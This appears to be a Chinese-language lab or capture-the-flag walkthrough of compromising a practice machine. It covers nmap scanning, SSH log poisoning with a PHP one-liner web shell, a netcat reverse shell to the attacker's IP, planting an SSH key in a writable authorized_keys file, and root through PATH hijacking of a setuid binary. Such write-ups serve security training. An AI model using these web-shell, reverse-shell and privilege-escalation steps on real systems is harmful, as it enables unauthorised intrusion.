主机探活
nmap -sP 192.168.159.0/24
目标主机IP为:192.168.159.173
端口发现
nmap -sV -p- -A 192.168.159.173
目标靶机开放端口为:22、80端口
80端口
目录扫描
dirsearch -u 192.168.159.173
在访问这些页面后,发现只有 robots.txt
中的信息有用
访问,发现提示 ssh 存在问题,且提供了新的目录:/eventadmins
访问后,在网页源码中发现一段密文
aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==
base64解密
获得一个新的目录:/adminsfixit.php
访问后发现是 ssh 登录日志
ssh日志
我们尝试ssh连接这台靶机,发现它会写入登陆的用户名
反弹shell
尝试写入 php 一句话代码
<?php system($_GET["yq"]); ?>成功执行命令
反弹shell
nc 192.168.159.131 7777 -e /bin/bash
http://192.168.159.173/adminsfixit.php?yq00=nc%20192.168.159.131%207777%20-e%20/bin/bash
成功获取shell
换个比较友好的shell
python -c 'import pty;pty.spawn("/bin/bash")'
提权
家目录
先去家目录中看看存在哪些用户,文件夹是否可以访问
发现存在一个 robertj 用户,且任何用户可读可执行
其内存在一个 .ssh 文件夹,可读可写可执行,准备使用ssh公私钥登录
ssh私钥登录
ssh服务公钥登录,主要流程为:
- 客户端生成RSA公钥和私钥
- 客户端将自己的公钥存放到服务器
- 客户端请求连接服务器,服务器将一个随机字符串发送给客户端
- 客户端根据自己的私钥加密这个随机字符串之后再发送给服务器
- 服务器接受到加密后的字符串之后用公钥解密,如果正确就让客户端登录,否则拒绝。这样就不用使用密码了。
先在本地生成密钥对
ssh-keygen
在本地当前用户 .ssh 文件夹中生成了密钥对
在目标服务器的 .ssh 文件夹下创建存放客户端公钥的文件 authorized_keys
(默认配置)
将本机生产的公钥上传
把公钥信息写入目标文件
cat id_rsa.pub > authorized_keys
本机ssh连接目标靶机
ssh 192.168.159.173 -l robertj -i id_rsa
成功登录
setuid
find / -perm -u=s -type -f 2>/dev/null
发现可疑文件
运行后发现它调用了 ip a
命令,故进行环境变量劫持
环境变量
cd /tmp
touch ip
echo '/bin/bash'>ip
PATH=/tmp:$PATH
注意,一定要把这个文件权限改为可执行,否则没用!!!
chmod 777 ip
最后运行 getinfo 这个setuid文件,成功获取 root 权限